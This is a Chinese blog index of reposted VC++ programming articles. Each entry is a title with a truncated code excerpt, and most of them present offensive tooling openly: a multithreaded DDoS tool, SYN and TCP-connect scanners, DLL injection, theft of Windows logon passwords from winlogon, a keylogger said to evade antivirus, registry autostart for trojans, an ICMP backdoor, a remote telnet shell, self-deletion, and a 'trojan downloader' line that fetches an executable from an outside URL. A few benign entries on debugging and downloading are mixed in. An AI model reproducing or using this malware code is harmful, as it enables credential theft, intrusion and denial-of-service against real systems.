![](https://img-blog.csdnimg.cn/20201014180756930.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
VC++
这家伙很懒什么都没留下
这个作者很懒,什么都没留下…
展开
-
VC++6.0 调试方式
代码测试是我们开发过程中很重要的一步。很多新入行的朋友都会习惯地认为测试只是测试部门的工作,事实上并不是这样。每一位软件工程师对应该本着对自己代码负责的态度,在入库或者进行集成测试之前对自己的代码进行充分的测试。那么掌握代码的调试技巧和编写测试用例就成为我们日常生活中很重要的一个部分。本文就针对代码调试问题进行分析和解决。 调试工具: VisualStudio 6.0转载 2014-07-30 09:24:57 · 803 阅读 · 0 评论 -
利用debug钩子拦截全局钩子,经典反黑客技术
// 键盘钩子消息处理过程LRESULT CALLBACK DebugProc ( int nCode, WPARAM wParam, LPARAM lParam ){ if ( nCode == HC_ACTION ) { PDEBUGHOOKINFO pDebugHookInfo = (PDEBUGHOOKINFO)lParam ; switch ( wParam转载 2014-07-30 10:38:06 · 838 阅读 · 0 评论 -
vc++防止多次运行
#include#includeint main(int argc,char *argv[]){HANDLE hMutex;DWORD dwErr;hMutex=CreateMutex(NULL,//无安全描述FALSE,//没有所有者 "HACK");//对象名 if(hMutex==NULL)//hMutex为NULL标示创建失败{Mes转载 2014-07-30 10:45:46 · 323 阅读 · 0 评论 -
VC++实现多线程ddos
#include #include #include #pragma comment(lib,"ws2_32.lib")#define SEQ 0x28376839int threadnum,maxthread,port;char *DestIP;//目标IPvoid display(void) // 定义状态提示函数 { static int转载 2014-07-30 10:47:15 · 369 阅读 · 0 评论 -
VC++多线程tcp connect扫描
#include #include#include #pragma comment(lib,"ws2_32.lib")char *host;int threadnum,maxthread,totalport;long nowport;TIMEVAL timeout;FD_SET mask;void usage(char *name){p转载 2014-07-30 10:47:01 · 564 阅读 · 0 评论 -
VC++远程插入dll代码
#include #include#include "resource.h"void WriteResourceToFile(char const *filename){ HINSTANCE hInstance=GetModuleHandle(NULL); HRSRC hResInfo = FindResource(hInstance, MAKEI转载 2014-07-30 10:50:01 · 357 阅读 · 0 评论 -
VisualC++信息安全编程(5)获取windows登陆账户密码
indows Logon Process,Windows NT 用户登陆程序,管理用户登录和退出。因为登陆的域名和用户名是明文存储在winlogon进程里的,而Password是限定了查找本进程用户的密码 GetEnvironmentVariableW (L"USERDOMAIN", UserDomain, 0x400); >,然后到winlogon进程的空间中查找Use转载 2014-07-30 10:53:24 · 3000 阅读 · 0 评论 -
vc++实现注册表自启动,木马用的比较多
#include #include int main(void){char regname[]="Software//Microsoft//Windows//CurrentVersion//Run";HKEY hkResult;int ret=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkResult);ret=RegSetVal转载 2014-07-30 10:29:16 · 432 阅读 · 0 评论 -
vc++实现http下载的通用类
// DownloadHttp.cpp: implementation of the CDownloadHttp class.////////////////////////////////////////////////////////////////////////#include "stdafx.h"#include "downtest.h"#include "Dow转载 2014-07-30 10:36:55 · 460 阅读 · 0 评论 -
vc++ 实现多线程断点续传
结合FTP类,http类,实现多线程断点续传 // DownloadMTR.cpp: implementation of the CDownloadMTR class.////////////////////////////////////////////////////////////////////////#include "stdafx.h"#转载 2014-07-30 10:39:21 · 1186 阅读 · 0 评论 -
vc++进程注入钩子DLL通用模块开源
#include "stdafx.h"#include #include #include "stdio.h"#include using namespace std;#define DEF_BUF_SIZE 1024// 用于存储注入模块DLL的路径全名char szDllPath[DEF_BUF_SIZE] = {0} ;// 使用远程线程向转载 2014-07-30 10:39:55 · 1262 阅读 · 0 评论 -
vc++网络安全编程范例(17)-open ssl 实现文件加密与解密
OpenSSL整个软件包大概可以分成三个主要的功能部分:密码算法库、SSL协议库以及应用程序。OpenSSL的目录结构自然也是围绕这三个功能部分进行规划的。 作为一个基于密码学的安全开发包,OpenSSL提供的功能相当强大和全面,囊括了主要的密码算法、常用的密钥和证书封装管理功能以及SSL协议,并提供了丰富的应用程序供测试或其它目的使用。对称加密算法 OpenSSL一共提供了8种对称转载 2014-07-30 10:53:03 · 1146 阅读 · 0 评论 -
VisualC++信息安全编程(6)穿透卡巴斯基的键盘记录编程-网络战技术
在国家之间的网络战争中,窃取密码是个很重要的事情。而密码往往是键盘输入的。利用原始设备输入变化RawInput 实现键盘记录,并穿透最牛的杀毒软件卡巴斯基。 引用外国人的原始设备输入变化的类。请柬代码与详细注解。 [cpp] view plaincopy#ifndef _RAWINPUT_H #define _R转载 2014-07-30 10:51:55 · 635 阅读 · 0 评论 -
vc++实现文件关联
#include #include int main(int argc,char *argv[]){MessageBox(NULL,"Hello",NULL,MB_OK);char temp[256];memset(temp,0,256);if(argc!=1){int length =strlen(argv[1]);char *ch=(char *)mallo转载 2014-07-30 10:43:56 · 323 阅读 · 0 评论 -
vc++取得系统信息,并实时刷新
#include#includevoid GetSysInfo();DWORD GetOS() { OSVERSIONINFO os;os.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GetVersionEx(&os); switch(os.dwPlatformId) { case VER_PLATFOR转载 2014-07-30 10:25:58 · 552 阅读 · 0 评论 -
VC++ 实现FTP下载的通用类
// DownloadFtp.cpp: implementation of the CDownloadFtp class.////////////////////////////////////////////////////////////////////////#include "stdafx.h"#include "downtest.h"#include "Downl转载 2014-07-30 10:38:08 · 1423 阅读 · 0 评论 -
VisualC++信息安全编程(4)实现文件自我删除
文件自我删除是一个很有必要的功能,尤其在国家之间的网络战争。[cpp] view plaincopy#include "stdafx.h" #include //加入状态显示头文件. BOOL SelfDel1() { SHELLEXECUTEINFO sei; TCHAR szModule转载 2014-07-30 10:51:56 · 370 阅读 · 0 评论 -
vc++抓取系统用户名
#include #include #include #pragma comment (lib, "Mpr.lib")#pragma comment (lib, "Netapi32.lib")void getuser(char *);void main( int argc, char *argv[ ] ){DWORD ret;char usernam转载 2014-07-30 10:27:42 · 458 阅读 · 0 评论 -
vc++telnet远程登录
#include #pragma comment(lib, "ws2_32.lib")#pragma comment(lib, "kernel32.lib")#define PORT 90SOCKET ServerSocket = INVALID_SOCKET;SOCKET ClientSocket = INVALID_SOCKET;HANDLE hReadPipe转载 2014-07-30 10:33:37 · 816 阅读 · 0 评论 -
vc++实现无进程无DLL无硬盘文件无启动项的ICMP后门后门程序
客户端 #include #include #include #pragma comment(lib,"ws2_32.lib")char SendMsg[256];/* The IP header */typedef struct iphdr {unsigned int h_len:4; //4位首部长度unsigned int vers转载 2014-07-30 10:41:46 · 388 阅读 · 0 评论 -
vc++实现文件传送
发送#include #include #pragma comment(lib, "ws2_32.lib")void main() {// 初始化 WSADATA wsaData; int iResult = WSAStartup( MAKEWORD(2,2), &wsaData ); if ( iResult != NO_ERROR )转载 2014-07-30 10:44:55 · 1041 阅读 · 0 评论 -
VC++实现SYN扫描
#include #include #include #include #include "mstcpip.h"#pragma comment(lib,"ws2_32.lib")#define SEQ 0x28376839SOCKET sockRaw = INVALID_SOCKET,sockListen = INVALID_SOCKET;struct转载 2014-07-30 10:46:16 · 971 阅读 · 0 评论 -
vc++编写一个木马下载器,体积仅有0.3K
#include #pragma link "w32inet.lib"int main(){HRESULT hRet=URLDownloadToFile(0,"http://www.1111.com/abc.exe","d://abc.exe",0,0); if(hRet==S_OK) { printf("Download OK!/n");}转载 2014-07-30 10:25:37 · 596 阅读 · 0 评论 -
vc++HOOK API黑客外挂编程必知必会
#include // 定义API挂接项结构typedef struct _HOOK_ITEM { DWORD dwAddr ; // IAT项所在地址 DWORD dwOldValue ; // IAT项的原始函数地址 DWORD dwNewValue ; // IAT项的新函数地址} HOOK_ITEM, *PHOOK_ITEM ;HOOK_ITEM H转载 2014-07-30 10:41:14 · 748 阅读 · 0 评论 -
VC++实现数据包过滤(防火墙原理)
#include "stdafx.h"#include "xpktfilter.h"#include "xpktfilterDlg.h"#include "./xpktfilterdlg.h"#ifdef _DEBUG#define new DEBUG_NEW#endif#pragma comment(lib,"iphlpapi.lib")// Cxpktf转载 2014-07-30 10:47:55 · 2924 阅读 · 0 评论